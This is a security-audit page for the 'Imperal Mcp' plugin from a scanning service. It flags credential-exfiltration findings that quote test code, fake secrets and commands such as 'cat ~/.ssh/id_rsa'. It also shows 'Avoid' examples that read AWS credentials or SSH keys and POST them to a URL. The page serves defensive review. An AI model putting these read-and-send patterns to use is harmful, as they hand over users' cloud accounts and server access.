Imperal Mcp— plugin

Imperal Mcp — independently scanned and version-tracked by SaferSkills.

by imperalcloud·Plugin·github.com/imperalcloud/imperal-mcp

Is Imperal Mcp safe to install?

SaferSkills independently audited Imperal Mcp (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 6 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
15/100
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Re-scan~30s
Latest scan
ScannedJun 24, 2026 · 132d ago
Scans run0 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 6 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
0
0.0 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 6 flagged

Securityscore 0 · 6 findings
CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · tests/test_hooks.py
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ("tool_response": {"stdout": "password=hunter2 AW…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

The exact value spotted
excerpttests/test_hooks.py· python
278{**CLAUDE_BASH, "tool_input": {"command": 'export OPENAI_API_KEY=sk-proj-abcdefghijklmnopqrs
… (8 chars elided on L278)
279'curl -H "Authorization: Bearer ghp_abcdefghijklmnopqrstuvwxyz12" x'},
280"tool_response": {"stdout": "password=hunter2 AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMIK7MDENG"}},
281{**CLAUDE_BASH, "tool_input": {"command": "vault kv get imperal/gateway"},
282"tool_response": {"stdout": "db_password S3cr3tP4ss"}},
Occurrences
1 occurrence · at L280
How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01sha256f45f1bce16d0761e…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/test_hooks.py×2
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (sh = {**CLAUDE_BASH, "tool_input": {"command": "…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/test_hooks.py· python
225e = {**CLAUDE_BASH, "tool_name": "Edit", "tool_input": {"file_path": "/w/secrets/db.yaml", "
… (21 chars elided on L225)
226"new_string": "pw: hunter2"}, "tool_response": {}}
227sh = {**CLAUDE_BASH, "tool_input": {"command": "cat ~/.ssh/id_rsa"}, "tool_response": {"stdo
… (23 chars elided on L227)
228for p in (w, e, sh):
229assert "hunter2" not in json.dumps(H.tool_items(p)) and "BEGIN KEY" not in json.dumps(H.tool
… (10 chars elided on L229)
Occurrences
2 occurrences · first at L227, also L257
Show all 2 locations
Line
File
L227
tests/test_hooks.py
L257
tests/test_hooks.py
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256c84a706284235e56…rubric 365aacaView on GitHub
HIGHReads your SSH private keySS-PLUGIN-SECRET-EXFIL-SSH-01 · Credential exfiltration · tests/test_memory_pack.py×3
HIGH — SSH keys are high-value but their blast radius depends on what they authorize, so this is high rather than critical.
Why it matters

This plugin references an SSH private-key path or a private-key file header (for cmd in ("ssh -i ~/.ssh/k h cat ~/.ssh/author…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.

The exact value spotted
excerpttests/test_memory_pack.py· python
42 
43def test_a_secret_file_named_beside_the_key_is_still_withheld():
44for cmd in ("ssh -i ~/.ssh/k h cat ~/.ssh/authorized_keys", "cat ~/.ssh/id_rsa", "ssh h 'cat
… (17 chars elided on L44)
45"sed -i s/a/b/ .env",
46# the key's own path outside its -i slot is a read of the key (security review)
Occurrences
3 occurrences · first at L44, also L50, L50
Show all 3 locations
Line
File
L44
tests/test_memory_pack.py
L50
tests/test_memory_pack.py
L50
tests/test_memory_pack.py
How to fix
Remove the code that reads the private key; delegate authentication to the SSH agent or the system git client.
  1. Delete any direct read of id_rsa / id_ed25519 or other key files.
  2. Authenticate through the SSH agent or `git` so the private key never enters plugin memory or an outbound request.
Avoidkey = open(os.path.expanduser("~/.ssh/id_rsa")).read() requests.post(url, data={"key": key})
Safer pattern# let the SSH agent / git handle auth; never read or send the key subprocess.run(["git", "fetch", remote], check=True)
Trace & refs
ruleSS-PLUGIN-SECRET-EXFIL-SSH-01sha256c84a706284235e56…rubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
✓—All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
✓—All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
✓—All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
✓—All community checks passedNo findings in this category for the latest scan.pass
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